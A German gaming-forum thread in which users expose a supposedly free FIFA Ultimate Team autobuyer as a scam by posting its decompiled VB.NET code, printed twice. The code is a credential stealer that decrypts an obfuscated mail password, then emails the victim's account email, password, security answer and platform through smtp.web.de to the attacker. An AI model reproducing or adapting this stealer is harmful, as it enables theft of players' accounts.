FUTAutobuyer Free

[St00ny]

war wohl ein fake.

['Heaven.]

PHP Code:

Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
    Me.password = "sp\dG?eF.9=YCgt*.UFx}BLpBhedH]8Z,T4Fv9?tJX}?6a63Vc%CDBR6JW9[FHHD&c9m@KDm_m~5nTy8Wpb&PTW$fx7L5f{VjQ8/&c,%q/UBF[a#.c\LVGA24,dyd]\pAT_sV,g!\3crKdjGf*]2Bku+hxvngf"
    Me.code = "œŠ›°ª" & ChrW(129) & "Ž" & ChrW(141) & "ƒŠ¼œƒÞ"
    Me.email = Me.VerEntschlüsseln(Me.code, Me.password)
    If Not Strings.Trim(Me.ComboBox1.Text).Contains("@") Then
        Interaction.MsgBox("Please enter your real Email-Adress", MsgBoxStyle.Critical, "Error!")
    ElseIf (Me.TextBox1.Text = "") Then
        Interaction.MsgBox("Please enter a password!", MsgBoxStyle.Critical, "Error!")
    ElseIf (Me.TextBox2.Text = "") Then
        Interaction.MsgBox("Please enter an answer to your security question.", MsgBoxStyle.Critical, "Error!")
    ElseIf (Me.ComboBox2.Text = "") Then
        Interaction.MsgBox("Please choose your platform.", MsgBoxStyle.Critical, "Error!")
    Else
        Me.smtpServer.Credentials = New NetworkCredential("", Me.email)
        Me.smtpServer.Port = &H24B
        Me.smtpServer.Host = "smtp.web.de"
        Me.smtpServer.EnableSsl = True
        Me.mail = New MailMessage
        Me.mail.From = New MailAddress("")
        Me.mail.To.Add("")
        Me.mail.Subject = ("Log von " & Me.ComboBox1.Text)
        Me.mail.Body = String.Concat(New String() { "Fifa Ultimate Team Email: ", Me.ComboBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Passwort: ", Me.TextBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Sicherheitsfrage: ", Me.TextBox2.Text, ChrW(13) & ChrW(10) & "Plattform: ", Me.ComboBox2.Text })
        Me.smtpServer.Send(Me.mail)
    End If
End Sub 


Nice Try

[Єrdmännchen™]

Originally Posted by Waka Toa

PHP Code:

Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
    Me.password = "sp\dG?eF.9=YCgt*.UFx}BLpBhedH]8Z,T4Fv9?tJX}?6a63Vc%CDBR6JW9[FHHD&c9m@KDm_m~5nTy8Wpb&PTW$fx7L5f{VjQ8/&c,%q/UBF[a#.c\LVGA24,dyd]\pAT_sV,g!\3crKdjGf*]2Bku+hxvngf"
    Me.code = "œŠ›°ª" & ChrW(129) & "Ž" & ChrW(141) & "ƒŠ¼œƒÞ"
    Me.email = Me.VerEntschlüsseln(Me.code, Me.password)
    If Not Strings.Trim(Me.ComboBox1.Text).Contains("@") Then
        Interaction.MsgBox("Please enter your real Email-Adress", MsgBoxStyle.Critical, "Error!")
    ElseIf (Me.TextBox1.Text = "") Then
        Interaction.MsgBox("Please enter a password!", MsgBoxStyle.Critical, "Error!")
    ElseIf (Me.TextBox2.Text = "") Then
        Interaction.MsgBox("Please enter an answer to your security question.", MsgBoxStyle.Critical, "Error!")
    ElseIf (Me.ComboBox2.Text = "") Then
        Interaction.MsgBox("Please choose your platform.", MsgBoxStyle.Critical, "Error!")
    Else
        Me.smtpServer.Credentials = New NetworkCredential("", Me.email)
        Me.smtpServer.Port = &H24B
        Me.smtpServer.Host = "smtp.web.de"
        Me.smtpServer.EnableSsl = True
        Me.mail = New MailMessage
        Me.mail.From = New MailAddress("")
        Me.mail.To.Add("")
        Me.mail.Subject = ("Log von " & Me.ComboBox1.Text)
        Me.mail.Body = String.Concat(New String() { "Fifa Ultimate Team Email: ", Me.ComboBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Passwort: ", Me.TextBox1.Text, ChrW(13) & ChrW(10) & "Fifa Ultimate Team Sicherheitsfrage: ", Me.TextBox2.Text, ChrW(13) & ChrW(10) & "Plattform: ", Me.ComboBox2.Text })
        Me.smtpServer.Send(Me.mail)
    End If
End Sub 


Nice Try

Ah, ein bisschen zu langsam war ich dann doch

[SGDynamite]

Gibt schon Opfer

[Nectix]

#closed